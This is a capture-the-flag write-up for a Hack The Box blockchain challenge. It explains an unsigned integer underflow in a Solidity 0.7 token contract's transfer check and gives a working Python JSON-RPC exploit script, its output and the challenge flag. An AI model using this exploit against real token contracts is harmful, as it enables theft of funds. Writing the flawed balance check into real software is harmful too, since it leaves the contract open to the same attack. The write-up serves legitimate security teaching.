Token to Wonderland
Author: 0xIDA
Platform: HTB · Category: blockchain · Difficulty: easy
Solvers
Summary
The custom ERC20-like SilverCoin contract was compiled for Solidity ^0.7.0, where integer arithmetic does not automatically revert on underflow. Its transfer() path checked fromBalance - amount >= 0, which is meaningless for uint256; sending more tokens than we owned wrapped our balance to 2^256 - 1, letting us approve the shop and buy the Golden Key.
Challenge Description
The group was excited as they pored over the map they had found inside the magic vault. It was an ancient, hand-drawn map, created by a well-known and respected map maker. The map led to a secret treasure, hidden away in a distant land. The group was also thrilled to find a large stash of silver coins in the magic vault. These would be invaluable on their journey to the treasure. After weeks of travel, they finally arrived at the map maker's shop. It was an old, run-down building, located in a remote village. Inside, they found an old dwarf, bent over a counter filled with precious artifacts and items from all over the world. The group approached the old dwarf and showed him the map. His eyes lit up as he recognized his own work. "I see you've found one of my maps," he said. "But do you have the first key that you'll need to open the treasure?" The group shook their heads, unsure of what he was talking about. The dwarf chuckled and explained that the treasure was guarded by powerful magic, and could only be unlocked with 3 special keys. He had the first key, he said, but he wouldn't part with it for free. The group was dismayed to hear this. They had spent all of their silver coins on supplies for the journey, and had nothing left to offer the old dwarf. But they were determined to find the treasure, and they knew that they would have to find a way to get the key from the old dwarf.
Reconnaissance
Downloaded and extracted the challenge bundle:
mkdir -p /root/ctf/token-to-wonderland
cd /root/ctf/token-to-wonderland
curl -L -o challenge.zip '<challenge-download-url>'
unzip -P hackthebox challenge.zip
Files extracted:
blockchain_token_to_wonderland/Setup.sol
blockchain_token_to_wonderland/Shop.sol
blockchain_token_to_wonderland/SilverCoin.sol
Service identification:
nmap -sV -sC -p 32555 154.57.164.75 --open
Output:
32555/tcp open http Gunicorn
|_http-server-header: gunicorn
|_http-title: Token to Wonderland
Connection info came from /connection_info:
{
"PrivateKey": "0xe96c45efe49a1a1cded5733cbebc7026e565a0a2ed273e603c78516d80707ff4",
"Address": "0x4124581510b8906243133A118A1Dcd8a582a9205",
"TargetAddress": "0xEC25c49787FD5c3b657E086d68f3bD4C1fed117D",
"setupAddress": "0xC2104013D0a00dA8D1111AC896Bcc2703a690527"
}
Vulnerability Analysis
Setup.sol gives the player only 100 silver coins and considers the challenge solved when the player owns item index 2, the Golden Key:
constructor(address _player) payable {
require(msg.value == 1 ether);
SilverCoin silverCoin = new SilverCoin();
silverCoin.transfer(_player, 100);
TARGET = new Shop(address(silverCoin));
}
function isSolved(address _player) public view returns (bool) {
(,, address ownerOfKey) = TARGET.viewItem(2);
return ownerOfKey == _player;
}
Shop.sol prices the key at 25_000_000 coins:
items.push(Item("Golden Key", 25_000_000, address(this)));
function buyItem(uint256 _index) public {
Item memory _item = items[_index];
require(_item.owner == address(this), "Item already sold");
bool success = silverCoin.transferFrom(msg.sender, address(this), _item.price);
require(success, "Payment failed!");
items[_index].owner = msg.sender;
}
The bug is in SilverCoin.transfer() / _transfer():
function _transfer(address from, address to, uint256 amount) internal {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
uint256 fromBalance = _balances[from];
require(fromBalance - amount >= 0, "ERC20: transfer amount exceeds balance");
_balances[from] = fromBalance - amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
}
Because this is Solidity ^0.7.0, fromBalance - amount wraps instead of reverting. Also, uint256 >= 0 is always true. So if we own 100 and call transfer(dead, 101), our balance becomes:
100 - 101 mod 2^256 = 2^256 - 1
Then we can approve the shop for 25_000_000 and buy item 2.
Exploit Script
#!/usr/bin/env python3
import json
import urllib.request
BASE = "http://154.57.164.75:32555"
RPC = f"{BASE}/rpc"
TRANSFER = "a9059cbb" # transfer(address,uint256)
APPROVE = "095ea7b3" # approve(address,uint256)
BUY_ITEM = "e7fb74c7" # buyItem(uint256)
BALANCE_OF = "70a08231" # balanceOf(address)
VIEW_ITEM = "6f7b0155" # viewItem(uint256)
def http_get_json(path):
with urllib.request.urlopen(BASE + path) as r:
return json.loads(r.read().decode())
def http_get_text(path):
with urllib.request.urlopen(BASE + path) as r:
return r.read().decode()
def rpc(method, params=None):
if params is None:
params = []
body = json.dumps({"jsonrpc":"2.0","id":1,"method":method,"params":params}).encode()
req = urllib.request.Request(RPC, data=body, headers={"Content-Type":"application/json"})
with urllib.request.urlopen(req) as r:
res = json.loads(r.read().decode())
if "error" in res:
raise RuntimeError(res["error"])
return res["result"]
def pad32_hex_int(x):
return hex(x)[2:].rjust(64, "0")
def pad32_addr(addr):
return addr.lower().replace("0x", "").rjust(64, "0")
def send(frm, to, data, gas=200000):
tx = {"from": frm, "to": to, "data": data, "gas": hex(gas)}
tx_hash = rpc("eth_sendTransaction", [tx])
receipt = rpc("eth_getTransactionReceipt", [tx_hash])
return tx_hash, receipt
def call(to, data):
return rpc("eth_call", [{"to": to, "data": data}, "latest"])
def balance(token, addr):
out = call(token, "0x" + BALANCE_OF + pad32_addr(addr))
return int(out, 16)
def main():
info = http_get_json("/connection_info")
player = info["Address"]
shop = info["TargetAddress"]
print(f"player = {player}")
print(f"shop = {shop}")
token_slot = rpc("eth_getStorageAt", [shop, "0x1", "latest"])
token = "0x" + token_slot[-40:]
print(f"silverCoin = {token}")
print(f"initial player balance = {balance(token, player)}")
burn_to = "0x000000000000000000000000000000000000dEaD"
data = "0x" + TRANSFER + pad32_addr(burn_to) + pad32_hex_int(101)
tx1, rc1 = send(player, token, data)
print(f"underflow transfer tx = {tx1}, status = {rc1 and rc1.get('status')}")
print(f"post-underflow player balance = {balance(token, player)}")
price = 25_000_000
data = "0x" + APPROVE + pad32_addr(shop) + pad32_hex_int(price)
tx2, rc2 = send(player, token, data)
print(f"approve tx = {tx2}, status = {rc2 and rc2.get('status')}")
data = "0x" + BUY_ITEM + pad32_hex_int(2)
tx3, rc3 = send(player, shop, data)
print(f"buyItem(2) tx = {tx3}, status = {rc3 and rc3.get('status')}")
item = call(shop, "0x" + VIEW_ITEM + pad32_hex_int(2))
print(f"viewItem(2) raw = {item}")
flag = http_get_text("/flag")
print(f"flag = {flag}")
if __name__ == "__main__":
main()
Verified Execution Output
Command:
cd /root/ctf/token-to-wonderland
python3 solve.py | tee solve-output.txt
Output:
player = 0x4124581510b8906243133A118A1Dcd8a582a9205
shop = 0xEC25c49787FD5c3b657E086d68f3bD4C1fed117D
silverCoin = 0x459092a63ef609b443e42ecba91e216871befdf9
initial player balance = 100
underflow transfer tx = 0xe9624a56b8f308bd267908fabcc1d6d37d2737f76eb1caf9aea4484330735f42, status = 0x1
post-underflow player balance = 115792089237316195423570985008687907853269984665640564039457584007913129639935
approve tx = 0x7a088ff01a62ef0ff662530e5bf05fea95676bc90b92c54ea8513b308b70eff4, status = 0x1
buyItem(2) tx = 0x36239760022147c688e2c78f42b1ebf632f0689af1c14a24c6b71b80dd688eb9, status = 0x1
viewItem(2) raw = 0x000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000017d78400000000000000000000000004124581510b8906243133a118a1dcd8a582a9205000000000000000000000000000000000000000000000000000000000000000a476f6c64656e204b657900000000000000000000000000000000000000000000
flag = HTB{und32f10w_70_937_7h3_k3y}
Flag
HTB{und32f10w_70_937_7h3_k3y}
Tools Used
curlfor downloading the handout and calling HTTP endpointsunzipfor extracting the challengenmapfor service identification- Python 3 standard library (
urllib.request,json) for JSON-RPC interaction pycryptodomein a temporary virtual environment only to calculate function selectors during analysis
Key Takeaways
- Solidity versions before
0.8.0do not automatically check arithmetic overflow/underflow. require(fromBalance - amount >= 0)is not a valid balance check for unsigned integers.- A separate
transferFrom()path may be safe, but another broken transfer path can still corrupt balances. - Once the token balance was underflowed, the rest was normal ERC20 flow:
approve()thenbuyItem(2).